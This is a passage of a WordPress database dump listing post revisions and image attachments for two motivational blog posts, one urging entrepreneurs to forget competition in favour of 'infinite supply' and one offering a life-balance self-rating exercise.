(838, 2, '2010-05-25 11:52:25', '2010-05-25 18:52:25', '<img class="alignnone size-full wp-image-832" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition2.gif" alt="" width="460" height="453" />\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief. Forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-11', '', '', '2010-05-25 11:52:25', '2010-05-25 18:52:25', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-11/', 0, 'revision', '', 0),
(839, 2, '2010-12-27 16:09:38', '2010-12-27 23:09:38', '<h2><img class="alignnone size-full wp-image-841" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition4.gif" alt="" width="414" height="408" /></h2>\r\n<h2>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-autosave', '', '', '2010-12-27 16:09:38', '2010-12-27 23:09:38', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-autosave/', 0, 'revision', '', 0),
(840, 2, '2010-05-25 12:00:04', '2010-05-25 19:00:04', '', 'competition', 0, '', 'inherit', 'open', 'open', '', 'competition-4', '', '', '2010-05-25 12:00:04', '2010-05-25 19:00:04', '', 824, 'http://www.whitehotcenter.com/wp-content/uploads/2010/05/competition3.gif', 0, 'attachment', 'image/gif', 0),
(841, 2, '2010-05-25 12:01:40', '2010-05-25 19:01:40', '', 'competition', 0, '', 'inherit', 'open', 'open', '', 'competition-5', '', '', '2010-05-25 12:01:40', '2010-05-25 19:01:40', '', 824, 'http://www.whitehotcenter.com/wp-content/uploads/2010/05/competition4.gif', 0, 'attachment', 'image/gif', 0),
(842, 2, '2010-05-25 11:56:07', '2010-05-25 18:56:07', '<img class="alignnone size-full wp-image-832" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition2.gif" alt="" width="460" height="453" />\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief. Forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-12', '', '', '2010-05-25 11:56:07', '2010-05-25 18:56:07', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-12/', 0, 'revision', '', 0),
(843, 2, '2010-05-25 12:01:57', '2010-05-25 19:01:57', '<h2><img class="alignnone size-full wp-image-841" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition4.gif" alt="" width="460" height="453" /></h2>\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief. Forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-13', '', '', '2010-05-25 12:01:57', '2010-05-25 19:01:57', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-13/', 0, 'revision', '', 0),
(844, 2, '2010-06-07 10:41:08', '2010-06-07 17:41:08', '', 'plates', 0, '', 'inherit', 'open', 'open', '', 'plates', '', '', '2010-06-07 10:41:08', '2010-06-07 17:41:08', '', 845, 'http://www.whitehotcenter.com/wp-content/uploads/2010/06/plates.gif', 0, 'attachment', 'image/gif', 0),
(845, 2, '2010-06-07 11:23:36', '2010-06-07 18:23:36', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="442" height="383" />\r\n<h2>Part 1 of a 2-Part Series</h2>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes your focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it. I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can sometimes seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused solely on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your level of satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now pay closer attention.</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks ', 0, '', 'publish', 'open', 'open', '', 'spinning-plates-on-a-stick-and-other-life-tricks', '', '', '2010-12-27 16:06:44', '2010-12-27 23:06:44', '', 0, 'http://www.whitehotcenter.com/?p=845', 0, 'post', '', 1),
(846, 2, '2010-06-07 10:48:30', '2010-06-07 17:48:30', '', 'satisfaction', 0, '', 'inherit', 'open', 'open', '', 'satisfaction', '', '', '2010-06-07 10:48:30', '2010-06-07 17:48:30', '', 845, 'http://www.whitehotcenter.com/wp-content/uploads/2010/06/satisfaction.gif', 0, 'attachment', 'image/gif', 0),
(847, 2, '2010-06-07 10:48:44', '2010-06-07 17:48:44', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="514" height="445" />\n<h5>Part 1 of a 2-Part Series</h5>\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes focus can become an obsession of figuring out ways to build the business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?</h2>\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it.  I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\n\n<strong>Spinning plates.</strong>\n\nBringing our life more into balance can seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused only on the most pressing one… say your business for example.\n\n<strong>Check in with yourself.</strong>\n\nHere is a simple exercise that will help you check in with yourself to determine your satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\n<h4>Step One:</h4>\nOn a piece of paper, simply make a list of these words on the left side:\n\n<strong>- Geography / Environment\n-  Career / Profession\n- Financial\n- Family\n- Personal Relationships\n- Health\n- Avocation\n- Spiritual</strong>\n\nStep Two:\n\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\n<h4>Step Three:</h4>\n<img class="alignleft size-full wp-image-846" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example below) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too. Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\n\nNow paying closer attention\n\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\n\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.  Living in balance is a daily activity, created by the choices you make in each and every moment.\n\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and life success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\n\nIn the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision', '', '', '2010-06-07 10:48:44', '2010-06-07 17:48:44', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision/', 0, 'revision', '', 0);
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(848, 2, '2010-06-07 10:49:45', '2010-06-07 17:49:45', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="514" height="445" />\n<h5>Part 1 of a 2-Part Series</h5>\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes focus can become an obsession of figuring out ways to build the business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?</h2>\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it.  I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\n\n<strong>Spinning plates.</strong>\n\nBringing our life more into balance can seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused only on the most pressing one… say your business for example.\n\n<strong>Check in with yourself.</strong>\n\nHere is a simple exercise that will help you check in with yourself to determine your satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\n<h4>Step One:</h4>\nOn a piece of paper, simply make a list of these words on the left side:\n\n<strong>- Geography / Environment\n-  Career / Profession\n- Financial\n- Family\n- Personal Relationships\n- Health\n- Avocation\n- Spiritual</strong>\n\nStep Two:\n\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\n<h4>Step Three:</h4>\n<img class="alignleft size-full wp-image-846" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example below) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too. Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\n\n<strong>Now paying closer attention</strong>\n\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\n\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.  Living in balance is a daily activity, created by the choices you make in each and every moment.\n\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and life success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\n\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision-2', '', '', '2010-06-07 10:49:45', '2010-06-07 17:49:45', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-2/', 0, 'revision', '', 0),
(849, 2, '2010-06-07 10:51:40', '2010-06-07 17:51:40', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="514" height="445" />\r\n<h5>Part 1 of a 2-Part Series</h5>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes focus can become an obsession of figuring out ways to build the business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?</h2>\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it.  I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused only on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n- Financial\r\n- Family\r\n- Personal Relationships\r\n- Health\r\n- Avocation\r\n- Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignleft size-full wp-image-846" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example below) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too. Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now paying closer attention</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.  Living in balance is a daily activity, created by the choices you make in each and every moment.\r\n\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and life success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks', 0, '', 'inherit', 'open', 'open', '', '845-revision-3', '', '', '2010-06-07 10:51:40', '2010-06-07 17:51:40', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-3/', 0, 'revision', '', 0),
(850, 2, '2010-06-07 11:03:44', '2010-06-07 18:03:44', '', 'satisfaction', 0, '', 'inherit', 'open', 'open', '', 'satisfaction-2', '', '', '2010-06-07 11:03:44', '2010-06-07 18:03:44', '', 845, 'http://www.whitehotcenter.com/wp-content/uploads/2010/06/satisfaction1.gif', 0, 'attachment', 'image/gif', 0),
